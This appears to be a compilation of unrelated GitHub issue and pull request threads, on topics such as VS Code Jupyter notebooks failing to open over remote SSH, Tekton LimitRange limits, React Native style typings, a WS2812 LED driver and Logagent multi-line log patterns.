I can create a new jupyter notebook just fine, but opening existing one results in "Cannot open resource with notebook editor type 'jupyter-notebook', please check if you have the right extension installed or enabled."

Bug: Notebook Editor, Interactive Window, Editor cells

Steps to cause the bug to occur

Connect to a remote server.
Create a jupyter notebook. Write some cells. Save. Log out of remote server.
Reconnect to remote server, right click on jupyter notebook file -> open with -> Jupyter Notebook.

Actual behavior
Result usually is

Cannot open resource with notebook editor type 'jupyter-notebook', please check if you have the right extension installed or enabled.

Occasionally it opens correctly, but most of the time, it does not.
However, if I create new .ipynb file, Jupyter starts up correctly. If I then try to open the file with Jupyter, I still get the same error.
This error does not seem to be reproduced with I am working locally; usually on a remote server. I am using the remote-ssh extension to log into the remote server.
Expected behavior
saved Jupyter notebook files should be able to open correctly, since new notebooks work correctly.

Your Jupyter and/or Python environment
Please provide as much info as you readily know
Python 3.6.9 64-bit.
up-to-date Jupyter, installed today.

Jupyter server running: Local | Remote |  Remote
Extension version: 20YY.MM.#####-xxx |
VS Code version: #.## | July 2020 (version 1.48)
Setting python.jediEnabled: true | false
Setting python.languageServer: Jedi | Microsoft | None
Python and/or Anaconda version: #.#.# | Python 3.6.9 64-bit.
OS: Windows | Mac | Linux (distro): Locally, Mac, Server uses Ubuntu Linux
Virtual environment: conda | venv | virtualenv | N/A | ... N/A

Python Output

Microsoft Data Science for VS Code Engineering Team: @rchiodo, @IanMatthewHuff, @DavidKutu, @DonJayamanne, @greazer, @joyceerhl

I'm having a similar issue, but I'm only working locally.

Thanks for the bug.
Can you verify this is the menu item you see (just want to double check there isn't another extension involved)?
**open with -> Jupyter Notebook**

I would have expected this:
Open with preview Notebook Editor

That error message you're seeing is from VS code. It would produce that if our extension hadn't loaded yet.
Additionally if you're using the preview notebook editor (which 'jupyter-notebook' is the registered type) then you should be using the insider's version of VS code. It has the latest fixes for notebook support.

Yeah, it was with Jupyter Notebook, I do see Jupyter Notebook (preview) as an additional option sometime.
I was thinking that maybe it wasn't fully loaded at first, but if I just created a new file with the .ipynb ending, the jupyter notebook loaded just fine. I then tried to open my old file in with Jupyter, and I still got the same error message.

For me the issue was a file ending setting for .ipynb I had accidentally add to my settings. After removing it everything is working again.
Maybe you can check for something like that @Santosh-Gupta. It’s easiest to see in the raw settings file.

@Santosh-Gupta, the error you're receiving indicates that the preview notebook experience is being executed. This is only supported in the Insiders build of VS Code. Can you try downloading and installing that to see if it resolves your issue?
https://code.visualstudio.com/insiders/

@Santosh-Gupta, the error you're receiving indicates that the preview notebook experience is being executed. This is only supported in the Insiders build of VS Code. Can you try downloading and installing that to see if it resolves your issue?
https://code.visualstudio.com/insiders/

It doesn't seem to resolve my issue. I'm not getting the "Cannot open resource with notebook editor type 'jupyter-notebook', please check if you have the right extension installed or enabled." error anymore, but a saved notebook isn't loading.
I then tried creating a new ipynb file and the jupyter notebook was able to be created.

I then tried closing VSCode Insiders and opening it up to see if that would jog anything, but result was the same.

Can you describe in more detail what happens?

Here's a screen shot.
https://snipboard.io/sHbZ6X.jpg
When I open saved notebooks, all that happens is there there's a line that travels from left to right at the time, which I think indicates that the notebook is loading. I can't actually type anything into that screen.
I opened test4.ipynb after I connected to my remote enviroment, which never seems to initialize. I then created a new file called test6.ipynb which initialized without any issues. I then tried to open test5.ipynb but that didn't load either. With both the saved notebooks, I made sure to right click -> open with -> Jupyter Notebook Python
Neither of the saved notebooks have any extensive code. Only one or two lines of stuff like 1+1.

Are you paraphrasing this command?
open with -> Jupyter Notebook Python
That command does not exist (or is not from us anyway).
From your screenshot it looks like you're using our regular editor for new files (which is expected) and that's why it works. For the existing files, it looks like you're using something else.
You should pick one of the two commands here:

Open in preview notebook editor is a work in progress. If you use that command, you need to make sure you have our latest bits and VS code's insider bits.
Open in notebook editor is our stable version and should work with stable VS code and our latest.

Sorry just figured out where your
open with -> Jupyter Notebook Python
came from. It's the "Open With" Menu. That shouldn't be there. It's not supported. Just double click the file instead.
I'm going to enter a bug for removing that in insiders.

Sorry for late response, was working on another projects. I've been using it for the last couple days and its working well.


Disable on localhost

Would it be possible to disable the creation of the pwa on localhost so i don't have to keep updating the version of clear cache every update i do?

Yes, it's a manual change, but I'll see about adding it as an option sometime today.
In your ServiceWorkerRegister.js file, change the window.updateAvailable declaration like this
window.updateAvailable = new Promise(function (resolve, reject) {
+    if (window.location.hostname !== 'localhost') {
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register(serviceWorkerFileName)
                .then(function (registration) {
... // lines removed for brevity
                .catch(error =>
                    console.log('Service worker registration failed, error:', error));
        }
+    }
});

You will need to manually unregister the current service worker in your browser and delete your existing cache as well.

Thank you, i will add it. It would make debugging and developing a little bit easier.


Libreoffice listener fails on Cloud Run cold start

Running the 7.4.3-cloudrun image, when the instance has a cold start the API returns a HTTP 500 error. Cloud Run logs show:
{
    "status": 500,
    "latency_human": "11.072780097s",
    "logger": "api",
    "referer": "",
    "method": "POST",
    "host": "redacted",
    "bytes_in": 352596,
    "msg": "convert to PDF: unoconv PDF: unix process error: exit status 251",
    "user_agent": "",
    "level": "error",
    "latency":<PHONE_NUMBER>7,
    "bytes_out": 21,
    "trace": "266f811e-f832-4bda-ae64-2f571e9973b9",
    "remote_ip": "redacted",
    "ts":<PHONE_NUMBER>.2780645,
    "uri": "/forms/libreoffice/convert",
    "path": "/forms/libreoffice/convert"
  }

Sending another request right after works fine. Also, if using 7.5.3-cloudrun the API returns HTTP 503 with "msg": "convert to PDF: lock long-running LibreOffice listener: acquire LibreOffice listener lock: context deadline exceeded", which I believe refers to #442, but this time no matter how many requests I send it doesn't work.
Maybe the two things are related?

Is --uno-listener-restart-threshold=0 the right property? Cloud Run returns unknown flag: --uno-listener-restart-threshold and then prints out the available flags.

Thanks, this solves it. But is it possible that the conversion time almost doubles?

I see. Well, thanks for the help! Maybe I'll just implement some retry function on my client so to take advantage of the listener.


fix(HMS-2644): catch new remediation field structure

When a pre-upgrade analysis task has a job that doesn't return a remediation, then it leaves the field off completely. We currently handle that correctly. But the new pre-conversion analysis tasks have jobs that, when a remediation isn't provided, still provides the remediation key value pair, but it is empty.
This PR handles both scenarios. Let me know if you need ids to test both types of tasks.

Codecov Report
Attention: 1 lines in your changes are missing coverage. Please review.

Files
Coverage Δ

src/SmartComponents/ActivityTable/ActivityTable.js
97.46% <100.00%> (-0.07%)
:arrow_down:

src/SmartComponents/ActivityTable/Columns.js
100.00% <ø> (ø)

...letedTaskDetails/JobResultsDetails/EntryDetails.js
88.88% <66.66%> (-2.78%)
:arrow_down:

:loudspeaker: Thoughts on this report? Let us know!.

/retest


Question: Is it possible to not use default LimitRange values in pipelines

At my org we have very small default values for LimitRange. Default request is 40Mi, Default Limit is 180Mi. Our none default limit is 2Gi which is closer to what I need (running a set of tests in the pipeline).
I can't find anyway to use the none default limit in tasks. I thought it might be possible to set an overarching limit for the pipeline, but it doesn't appear to be the case.
If I set the memory on a task higher than the default limit, but under the overall limit the task will crash with the following error
[spec.containers[0].resources.requests: Invalid value: "300Mi": must be less than or equal to memory limit, spec.containers[1].resources.requests: Invalid value: "300Mi": must be less than or equal to memory limit].

Is there no way to use the none default limit with Tekton?

Hi @chabeezy, thanks for filing! The behavior you want here should already be possible. Could you please provide the limitrange spec and task spec you're using, plus the tekton version? (no need to provide the entire task spec, just anywhere you specify compute resources)

Thanks @lbernick, no problem
So the task spec
apiVersion: tekton.dev/v1beta1
kind: Task
metadata:
 ...
spec:
params:
...
  steps:
    - env:
        - name: CI
          value: 'true'
      image: $(params.IMAGE)
      name: run-tests
      resources:
        requests:
          cpu: 300m
          memory: 500Mi
      script: |
        npm ci
        npm run lint-check
        npm run prettier-check
      workingDir: $(workspaces.source.path)/$(params.PATH_CONTEXT)
  workspaces:
    - name: source

The limitrange is set on the namespace and is
kind: LimitRange
apiVersion: v1
metadata:
...
  managedFields:
    - manager: Go-http-client
      ...
    - manager: helm-operator
      ...
spec:
  limits:
    - type: Pod
      max:
        cpu: '2'
        memory: 3Gi
      min:
        cpu: 20m
        memory: 6Mi
    - type: Container
      max:
        cpu: '2'
        memory: 3Gi
      min:
        cpu: 20m
        memory: 4Mi
      default:
        cpu: 300m
        memory: 180Mi
      defaultRequest:
        cpu: 50m
        memory: 40Mi
      maxLimitRequestRatio:
        cpu: '20'

Closing since this is k8s behavior, not Tekton


Changed dev status to Beta

No review needed.

coverage: 25.088%. remained the same
when pulling 3274101e5bb7ee18abc67046055f78c6b894ecd9 on andy/maturity-beta
into ddbb2ee2dd22410c3fb9b19b0d9b535045c24933 on master.


Complexity plugin support

@MichalLytek I have been playing around with the code base and have been testing two new features that might be nice in typegraphql-prisma.

Complexity plugin support
Default value for take (required to properly determine complexity)

Together these can prevent memory overflow high CPU utilization by limiting how complex queries can be which is extremely useful when you have large databases.
Originally posted by @wSedlacek in https://github.com/MichalLytek/typegraphql-prisma/issues/1#issuecomment-672975188

@wsedlacek
How would you want to use the complexity plugin?
In normal TypeGraphQL you manually annotate every field or input/object/args type with the @Complexity decorator.
Do you use some more model-based approach? Like annotate only model field and then use the same value for every field-related things like sort args, etc.?

For those interested, I've implemented some very rudimentary complexity limitation, which basically enforces take to be present in where queries, and multiplies the cardinality in nested resolvers. Code can be found here. So far this has worked quite well.


Update index.html

I've added the new text; it just needs the links and indent added where indicated in our latest email exchange.

Can one of the admins verify this patch?

it just needs the links and indent added where indicated in our latest email exchange.

@carsonicator Can you indicate those as comment(s) on GitHub, so I add the the right links / styling? There were a couple of emails exchanged and I want to make sure I get the right changes. Thanks!

Here are the links and indent info:
Second block:
'European Organization for Nuclear Research': https://home.cern/
'Zenodo': https://zenodo.org/
Third block:
'Next Generation Repositories': http://ngr.coar-repositories.org/
Fourth block (indent):

Contact us. Email us if you have questions or if you’d like to request a test user name and password for this site so you can create records of your own.

Links in block above:
'Email'<EMAIL_ADDRESS>Fifth block (indent):

Join us. Get updates and test new releases on the product site, email us to request a demonstration or chat, take a look at our competitive landscape analysis,  and get involved with collaboration and discussion through our open source project.

Links in block above:
'product site': https://invenio-software.org/
'open source project': https://github.com/inveniosoftware/invenio-app-rdm

@fenekku I made a couple of changes. Will you review again?

@carsonicator you meant to merge this, right?

yes, sorry.


How to use slugged with count in 3.1

[QUESTION]
Versions

PHP version: 7.2
Laravel version: 5.7
Package version: 3.1

Description
How can make headings sluggedwithcount i saw that version 2 has that kind of feature? should i just install version 2?
Steps to Reproduce
import file with headers should have 2 or more headers with the same name

You can implement it in any way you want with a custom formatter: https://laravel-excel.maatwebsite.nl/3.1/imports/heading-row.html#custom-formatter

how do i manage headers with the same name?

In your situation it's perhaps better to not use the heading row as array keys, you can also just use the numeric index instead.

then i'll change my question to how do i ignore the header row in importing the file

By not using the WithHeadingRow concern, but using the WithStartRow concern, so you can skip the first row. (https://laravel-excel.maatwebsite.nl/3.1/imports/concerns.html#import-concerns)

ohh nice thank you


Add Firewall Option for SKU

Benefit/Result/Outcome
Add a UI step/element to allow for selecting the Azure Firewall SKU type during a portal driven deployment.
Description
Remove default parameter and add an option in the UI for MLZ for the Azure Firewall SKU selection.
Acceptance Criteria

Allows users to select firewall SKU for their requirements.

Premium is not available across all our clouds. This issue needs higher prioritization.


TypeScript: Type "100vh" is not assignable to type DimensionValue | undefined

Old Version
0.71.0
New Version
0.73.2
Description
We distribute apps for the Android, iOS, and web platforms. After update we unable more to use the next styles:
StyleSheet.create({
  root: {
  // ^^^ TS Error: Type "100vh" is not assignable to type DimensionValue | undefined
    ...Platform.select({
      web: { height: '100vh'},
      default: { height: '100%' },
    }),
  },
});

DimensionValue type so strict and prevent developers use WEB CSS units like rem,em,vm,vmax
Steps to reproduce

Create the app npx react-native init Rn73New --version 0.73.x
cd Rn73New
add the next code

StyleSheet.create({
  root: {
     height: '100vh'
  },
});

Run yarn tsc

Affected Platforms
Runtime - Web
Output of npx react-native info
System:
  OS: macOS 14.2.1
  CPU: (10) arm64 Apple M1 Pro
  Memory: 6.30 GB / 32.00 GB
  Shell:
    version: 3.6.1
    path: /opt/homebrew/bin/fish
Binaries:
  Node:
    version: 18.19.0
    path: /usr/local/bin/node
  Yarn:
    version: 1.22.19
    path: /opt/homebrew/bin/yarn
  npm:
    version: 9.7.2
    path: /opt/homebrew/bin/npm
  Watchman:
    version: 2<IP_ADDRESS>
    path: /opt/homebrew/bin/watchman
Managers:
  CocoaPods:
    version: 1.13.0
    path: /opt/homebrew/bin/pod
SDKs:
  iOS SDK:
    Platforms:
      - DriverKit 23.2
      - iOS 17.2
      - macOS 14.2
      - tvOS 17.2
      - visionOS 1.0
      - watchOS 10.2
  Android SDK: Not Found
IDEs:
  Android Studio: Not Found
  Xcode:
    version: 15.2/15C500b
    path: /usr/bin/xcodebuild
Languages:
  Java:
    version: 17.0.8
    path: /usr/bin/javac
  Ruby:
    version: 2.6.10
    path: /usr/bin/ruby
npmPackages:
  "@react-native-community/cli": Not Found
  react:
    installed: 18.2.0
    wanted: 18.2.0
  react-native:
    installed: 0.73.2
    wanted: 0.73.2
  react-native-macos: Not Found
npmGlobalPackages:
  "*react-native*": Not Found
Android:
  hermesEnabled: true
  newArchEnabled: false
iOS:
  hermesEnabled: true
  newArchEnabled: false

Stacktrace or Logs
style.ts:10:3 - error TS2322: Type '{ height: "100vh"; } | { height: "100%"; }' is not assignable to type 'ImageStyle | ViewStyle | TextStyle'.
  Type '{ height: "100vh"; }' is not assignable to type 'ImageStyle | ViewStyle | TextStyle'.
    Type '{ height: "100vh"; }' is not assignable to type 'TextStyle'.
      Types of property 'height' are incompatible.
        Type '"100vh"' is not assignable to type 'DimensionValue | undefined'.

10   root: {
     ~~~~

Reproducer
...
Screenshots and Videos
No response

...

They aren’t supported in the type system because React Native does not yet support these units. This is expected behavior.

Web is a valid place where there is more flexibility, so I can see the use case of using special values, specially for web.
RN web doesn’t maintain its own typings, so I’m not sure how we would best express this, with the underlying RB API not supporting these.

RN itself is going to start supporting more of these units in the near future, when targeting the new architecture, so we will end up needing to loosen some of these soon regardless.
The right solution here needs some thought.
Also FYI @necolas for RN Web typings.

still actual

still actual


BaseHttpTest class, Mocking capability through SearchResponseBuilder

closes #115

Ready for review

Not progressing this work in this repository further due to winding down. Library work will continue in; https://github.com/DFE-Digital/pageobjects-testing-infrastructure


Custom Dot Cursor [React Version]

Reference

hello, I'm Shivani Gupta
I can create this cursor.
Can you please assign this issue to me.
Thank you

@Shivani13121007 assigned for 3 days.


LED: Support for WS2812 LED controller (aka Adafruit NeoPixel)

Summary
The WS2812 is very common in LED strips as it is an integrated controller and LED. It is driven by a single data line, but the timing requirements can be met by using most SPI controllers and the use of DMA.
https://cdn-shop.adafruit.com/datasheets/WS2812.pdf
Impact
Added support for WS2812 based LED light strips.
Testing
This driver has been validated on the nRF52 arch both with a single LED and a strip of 144.
The timing requirements have also been validated for using a 8MHz and 4MHz SPI clock.
Here is a video of a "jumping" demo that using the seek and write interfaces. https://giphy.com/gifs/TjGKy7TT7jwj88bh5x

@btashton  would you share your test program?

@baschuuuu when I added the support to APA102 I added a test program to it, see: apps/examples/apa102 maybe you can adapt it to work on WS2812 as well.

Thank you @acassis. That has already helped me a lot.
But I use a different board (Nucleo L476RG) which does not provide a stm32_bringup.c file.
Hence I do not know where to call "board_ws2812_initialize(...)". I have created a bringup-file for my board but that did not work.
I would have two follow-up questions.

Why do some boards not have a stm32_bringup.c file?
Where/how can I initialize the ws2812?

Hi @baschuuuu you can use the stm32_appinit.c. I hope in the future we make the stm32_boot.c/stm32_appinit.c/stm32_bringup.c more consistent between all the boards. It is something that really confuses new users.


Set up code coverage action

❓ What type of PR is this?

[ ] Refactor ♻
[x] Feature ✨
[ ] Bug Fix 🛠
[ ] Optimization 🚀
[ ] Documentation Update 📄

💬 Description
Add code coverage workflow to generate coverage reports using Jest and GitHub Actions.
🃏 Added/updated tests?
We encourage you to keep the code coverage percentage at 85% and above.

[ ] Yes
[x] No, and this is why: not needed
[ ] I need help with writing tests

🌿 What branch would you like to merge this into?
main
📷 [optional] What gif best describes this PR or how it makes you feel?

Need more research, how to set up this.


Error HTTP/500: Object reference not set to an instance of an object.

Provide a detailed explanation of the issue in English.

Error HTTP/500: Internal Server Error.
Object reference not set to an instance of an object.
Trace Id: 00-21e432f295a41c4f84cd2e2a884dbebb-5a19b138b2221b41-00
Version: 0.9.0 (0.9.8121.26944)

Thanks for reporting this. I'm closing this issue as a duplicate of #213.

Fixed in 0.9.1


love-release not packing everything in project directory

For some reason, only my font folder, conf.lua, and my readme gets packed.
Any reason this is happening?

I have stumbled upon this once too, but I wasn't able to identify the causes of this error. I'll try to fix this.

Would you please check the return value of fs.pop_dir
I think it may stay in that directory for ever
Also changing the current directory like that inside the loop may destroy the iterator
Considerar saving all the folder names and after the whole folder was iterated, iterate on the next one
These are just suggestions not tested and not proved to work, but some ideas that may help debug this. Cheers

fs.pop_dir returns true if a pop ocurred, false if the stack was empty.
Thanks for the suggestions :)
Debug all the things !

Try something like this:
local _buildFileTree
_buildFileTree = function(dir)
  local subDirs = {}

  for file in assert(fs.dir()) do
    if not file:find("^%.git") then
      if fs.is_dir(file) then
        subDirs[#subDirs + 1] = file
      elseif fs.is_file(file) then
        dir[#dir+1] = file
      end
    end
  end

  for _, path in ipairs(subDirs) do
    local newDir = {}
    dir[path] = newDir
    assert(fs.change_dir(path))
    _buildFileTree(newDir)
    assert(fs.pop_dir())
  end
end

This has the overhead of needing a secondary loop but will probably work more reliably.
You have to consider that fs.dir returns an iterator based on a coroutine and Lua is not that good with coroutines, and handling multiple coroutines at once, switching between them and so on...

This should be fixed now 👍


[sitecore-jss-angular] Fix Editing Scripts component rendered twice in pages

[x] This PR follows the Contribution Guide
[x] Changelog updated
[ ] Upgrade guide entry added

Description / Motivation

This PR fixes issue where editing scripts are rendered twice (for server and client) in pages edit mode metadata - by rendering the scripts only on the server.
Testing Details

[x] Unit Test Added
[x] Manual Test/Other (Please elaborate) - setup local app as rendering host for pages, and make sure client editing scripts are rendered only once in the markup and there is no 'duplicate modules' error in the browser console

Types of changes

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)

@yavorsk Is there a way to run Angular in full SPA mode, without server-side rendering? If yes, the fix might not work with it

hey @stasmaxymov , yea I was also thinking about this. In editing mode we always have SSR and since we are rendering these scripts for editing mode only anyway I think it should be fine


Update sql-data-warehouse-tables-overview.md

Added a new join criteria to the dm_pdw_nodes_db_partition_stats table in the vTableSizes view definition (AND i.[index_id] = nps.[index_id]). Without this records counts are inflated because the query is multiplying the number of records by the number of secondary indexes on the table. This change ensures only the primary index/storage is considered for counting.

@bradleyschacht : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@WilliamDAssafMSFT
Can you review the proposed changes? IMPORTANT: When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
#assign:@MicrosoftDocs/public-repo-pr-review-team

Looks good to me. Thanks for taking the time to create this PR @bradleyschacht. Only request would be to update the ms.date in the article metadata. Perhaps @Court72 can help with that too. Then we can sign off.

@Court72 : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off


Add request scope attributes to HttpRequest

Originally opened as dart-lang/sdk#16490
This issue was originally filed by<EMAIL_ADDRESS>
This is a feature request to add the Map implementations present in HttpSession to HttpRequest in order to support request scoped attributes:
From HttpSession:
  final Map _data = new HashMap();
  // Map implementation:
  bool containsValue(value) => _data.containsValue(value);
  bool containsKey(key) => _data.containsKey(key);
  operator [](key) => _data[key];
  void operator []=(key, value) { _data[key] = value; }
  putIfAbsent(key, ifAbsent) => _data.putIfAbsent(key, ifAbsent);
  addAll(Map other) => _data.addAll(other);
  remove(key) => _data.remove(key);
  void clear() => _data.clear();
  void forEach(void f(key, value)) => _data.forEach(f);
  Iterable get keys => _data.keys;
  Iterable get values => _data.values;
  int get length => _data.length;
  bool get isEmpty => _data.isEmpty;
  bool get isNotEmpty => _data.isNotEmpty;
My use case is that I don't want to create a session for each incoming HttpRequest but I do want to add context data to the request as it goes through filtering. For example:
(HttpRequest req) {
  req['SECURITY_CONTEXT'] = context;
  return Future.value(true);
}

This comment was originally written by<EMAIL_ADDRESS>
Thanks for the update.
Does 'NotPlanned' mean you all think it's a good idea and will implement when priorities and resources allow? I don't think using Expando is a good solution in this case (although workable in some cases) as it would require all libraries to utilize the same expando object to correctly share access to request scoped attributes.

 Comment by lrhn

Added Pkg-http_server, Triaged labels.

 Comment by sgjesse

There is no plan to make HttpRequest into a map as well.
It is possible to use an expando to associate attributes with request objects, e.g.
During startup create a new expando:
  var requestSecurityContext = new Expando();
Then you can do this:
  (HttpRequest req) {
    requestSecurityContext[req] = context;
    return Future.value(true);
  }
Or you have the expando contain a map for each request, e.g.
  var requestExpando = new Expando();
 server.listen((HttpRequest req) {
   requestExpando[req] = new Map();
   ...
 });
and do
  (HttpRequest req) {
    requestExpando[req]['SECURITY_CONTEXT'] = context;
    return Future.value(true);
  }
The expando is a weak map, so there is no need to remove the request from it.

Added NotPlanned label.

 Comment by anders-sandholm

Removed Pkg-http_server label.
Added Pkg-HttpServer label.


multi-line logs without lines being indented by spaces?

I have a log that looks like this (simplified):
2016-12-08 10:09:16 - [ERROR] - from application -
! @72aki4439 - Internal server error, for (POST) [/rest/v1/item] ->
play.api.Application$$anon$1: Execution exception[[NullPointerException: null]]
		at play.api.Application$class.handleError(Application.scala:296) ~[com.typesafe.play.play_2.11-2.3.8.jar:2.3.8]
		at play.api.DefaultApplication.handleError(Application.scala:402) [com.typesafe.play.play_2.11-2.3.8.jar:2.3.8]
Caused by: java.lang.NullPointerException: null
		at controllers.RestItem$2.apply(RestItem.java:577) ~[bla-1.0.jar:1.0]

This is one single log entry, but the lines with !, play.api.Application, and Caused by are not indented with spaces. I tried all values for regex and blockStart that I could think of, but I couldn't get this recognized as a single entry. Is there a way to do this or will I need to change the log format (which isn't trivial, as far as I understand)?

Could you please share your pattern definition?

you need blockStart to separate the messages e.g.
blockStart: !!js/regexp /^\d{4}-\d{2}-\d{2}\s/
the used pattern for the message must end with ([\s\S]+) to catch the newline .*does not catch a newline. Or use multiline modifier for the regex, e.g. !!js/regexp / /mypattern/m

Example:
https://github.com/sematext/logagent-js/blob/master/patterns.yml#L141-L148

Bad Example:
https://regex101.com/r/zSSwLe/1
Good Example (catching newline)
https://regex101.com/r/zSSwLe/2

Here's one I've tried. I'm doing this in the context of https://github.com/sematext/logsene-aws-lambda-cloudwatch and they specify logagent-js 1.2.39 as a dependency, is that an issue?
- # multi line test
  sourceName: any
  blockStart: !!js/regexp /^\d{4}-\d{2}-\d{2}\s/
  match:
	- type: any
	  regex: !!js/regexp /^(\d\d\d\d-\d\d-\d\d \d\d:\d\d:\d\d) - \[(.*?)\] - from (.+?) -\s([\s|\S]+)/
	  fields: [date,level,from,text]

This works when the "following" lines have a space at the beginning of the line, otherwise not, i.e. otherwise I get several entries. I use this for testing:
cat myapp.log | bin/logagent.js -y -n myapp -f pattern.yml

Have you tried:
sourceName: !!js/regexp /.*/

Or in your test:
cat myapp.log | bin/logagent.js -y -n any -f pattern.yml

I just wonder if the sourceName matches, so Logagent might not use the right pattern. I could try it with 1.x tomorrow.
I think the lambda-cloudwatch plugin should work with the latest version 2.x as well (could be changed in package.json). We would need to test LA 2.x parser with lambda-cloudwatch, ping @radu-gheorghe

Thanks, calling with -n any works, so it seems my testing was wrong (though I still don't understand why the spaces make a difference when calling with -n myapp).

Logagent supports multi-line out of the box - I assume it used some fallback configuration, because LA did not recognize the pattern for "any" as a valid match for your "myapp" logs. The default:  A whitespace at the begin of a line causes an action to attach the line to the previous line without leading whitespace - which works for most stack traces without any configuration.


Remove reusable workflow across molecule tests

In the process of fixing things around #115, we want to use different options in the composite action related to https://github.com/UCL-MIRSG/.github/pull/121 & https://github.com/UCL-MIRSG/.github/pull/122. This would mean we'd need to set extra options in the reusable workflow, which will get confusing. By removing the reusable workflow, this will simplify things greatly. This will lead to more verbose code, but better in the long-term.

See comment in #115 (comment) about pinning to major version of Ansible instead.
Additionally, could we specify the ansible_version in a repo or org wide variable? And then when we want to move to Ansible 10.x.x we'd only need to change in one place?

Nice idea, incoming

I have updated the actions to use the major Ansible version. If actions pass, then assume this is good to go.

@HChughtai the ones that are failing are due to the whole paths: mess and me updating manually pip install ansible==${{ vars.ANSIBLE_MAJOR_VERSION }}.* so they can be ignored


Release - 0.1.0

https://github.com/nvminhtue/tyson_devops_ic/milestone/1
Features

#3

Chores

#14
#1
#2

Just a few tweaks before we can merge the PR:

Update the title to Release - 0.1.0 to match our naming convention: nimblehq.co/compass/development/version-control/release-management
Delete the placeholder text in the PR description that says "Provide the ID and title..."
The issue [Infrastructure] As a user, I can see an initialized project with AWS cloud service integrated #1 is a chore, not a feature. Please move it to the correct section.

Updated them all, thanks @Nihisil


How to send random jpg pictures from a folder?

I have a folder of jpg pictures. I'm trying to make a Telegram bot where each time a user send roll, it will send a picture from the folder randomly.

import random
from glob import glob

#https://docs.python.org/3/library/glob.html
pic_list = glob('*.jpg')

get_random_pic = random.choice(pic_list)
with open(get_random_pic, 'rb') as photo:
   sendPhoto(chat_id, photo)


feat(have-i-been-pwned): init

🎉 Theme for Have I Been Pwned 🎉
A website for checking if your emails/passwords have been exposed in data breaches
💬 Additional Comments 💬
no
🗒 Checklist 🗒

[x] I have read and followed Catppuccin's submission guidelines.
[x] I have made a new directory underneath /styles/<name-of-website> containing the contents of the /template directory.

[x] I have ensured that the new directory is in lower-kebab-case.
[x] I have followed the template and kept the preprocessor as LESS.

[x] I have made sure to update the
userstyles.yml
file with information about the new userstyle.
[x] I have included the following files:

[x] catppuccin.user.css - all the CSS for the userstyle, based on the
template.
[x] preview.webp - composite image of all four individual flavor screenshots (taken with the default accent color of mauve) stitched together, generated via Catwalk.

nice work! this is probably going to be the 26th init PR which is under 5 comments lol
the only unthemed stuff i've found is these unthemed icons/buttons

the only unthemed stuff i've found is these untamed icons/buttons

i can fix this at ~7:30 est (6 hours from now) but i gotta head to work right now

i can fix this at ~7:30 est (6 hours from now) but i gotta head to work right now

not me lying
anyways today was a really really really busy day ill do it tomorrow

The only thing I noticed is that the icons are hard to look at on Latte:

Unsure if this is something you can fix but figured I'd report it anyways, nice job on the theme so far 👍

There are about a million of those icons for every company/breach, but maybe theming the two default icons (lined paper / list and mail / letter) could be worth it. They are PNGs so you'd have to use the filter technique, which I see you are familiar with for the logo (this time you can put the filters in the palette down below though as to not repeat yourself, see: https://github.com/catppuccin/userstyles/blob/a1f3fefcbf7ccc97bc4567e26c54f154a14f9566/styles/deepl/catppuccin.user.css#L326-L332)

The only thing I noticed is that the icons are hard to look at on Latte:

I could go through and add more filters for more icons but i don't know if I want to spend 3 hours adding filters to pngs, its probably fine enough as it is at the moment

i noticed a very small thing. the .unverified class is unthemed (colored #a65c5c). for example the check for<EMAIL_ADDRESS>has a first result called "Separate Data Breaches" that has a span.unverified element with unthemed parentheses (actually text inside the parentheses should be dark red/alternate color too)
no theme

catppuccin

suggested change:
.unverified, .unverified a{
    color: darken(@red, 50%) !important
}


What is the meaning of "Test-Time training"?

Hi, recently I have trained a model by using very small amount of unlabeled test data (16-shot). Could I call this training manner "Test-Time training"? Thanks

I have another question. During test-test training, why train the model by augmenting only one sample to multiple samples (one origin test sample in a batch), is it possible to augment multiple test samples at once (many origin test sample in a batch)?

Hi, recently I have trained a model by using very small amount of unlabeled test data (16-shot). Could I call this training manner "Test-Time training"? Thanks

Hi, I think it depends on how you update your model at test time, and whether your model has been trained on some training data before test time. Please refer to Sun et al. for more details about their definition of "test-time training".

I have another question. During test-test training, why train the model by augmenting only one sample to multiple samples (one origin test sample in a batch), is it possible to augment multiple test samples at once (many origin test sample in a batch)?

Yes, you can adapt our method to do batch test-time prompt tuning. However, in our paper, we consider a more practical and challenging setting, where at deployment (i.e., test-time), a model may not always have access to a batch of test samples, so we manage to do test-time adaptation on a single test sample.

Hi, recently I have trained a model by using very small amount of unlabeled test data (16-shot). Could I call this training manner "Test-Time training"? Thanks

Hi, I think it depends on how you update your model at test time, and whether your model has been trained on some training data before test time. Please refer to Sun et al. for more details about their definition of "test-time training".

Thanks for you insightful response. My confusion is resolved.


Server process started correctly but did not call InitSDK() within 5 minutes

I managed to upload a linux build to the gamelift but on fleet creation in the ACTIVATING stage i get this error:
Server process started correctly but did not call InitSDK() within 5 minutes, launchPath(/local/game/Mul/Binaries/Linux/MulServer), arguments(null), instanceId(i-0758a58563c9fc6df)
I searched for the solution very hard but in the end I had to ask you guys here. Are you familliar with this error?
Most of the solutions that I have found online were inputting correct "launchPath", but as you can see from the error, it is a correct path.
Thanks in advance

https://forums.awsgametech.com/t/unity-build-exe-did-not-call-initsdk/3248/9
try run .exe with the -batchmode -nographics

I had this same error. It was an issue with the path I provide the AWS Game Lift console when trying to deploy
What patch did you provide @Jeff-Stapleton ? Please Help I am also facing the same InitSDK() timeout issue

These types of issues are kind of vague but it basically means that the server process is either crashing prematurely at startup or near startup time, or that the server is quite literally not calling the gamelift server sdk InitSDK function.
Back then I would use GameLiftLocal to test my server process before deploying to AWS but it seems they've retired that for a new testing approach.


bufferViews missing target types

On the latest exporter in Blenders 2.8 Beta, the bufferViews are missing their target types, is this expected behavior?
    "bufferViews" : [
        {
            "buffer" : 0,
            "byteLength" : 124992,
            "byteOffset" : 0
        },
        {
            "buffer" : 0,
            "byteLength" : 124992,
            "byteOffset" : 124992
        },
        {
            "buffer" : 0,
            "byteLength" : 166656,
            "byteOffset" : 249984
        },
        {
            "buffer" : 0,
            "byteLength" : 83328,
            "byteOffset" : 416640
        },
        {
            "buffer" : 0,
            "byteLength" : 122292,
            "byteOffset" : 499968
        }
    ],

Where before (2.7 exporter) they existed:
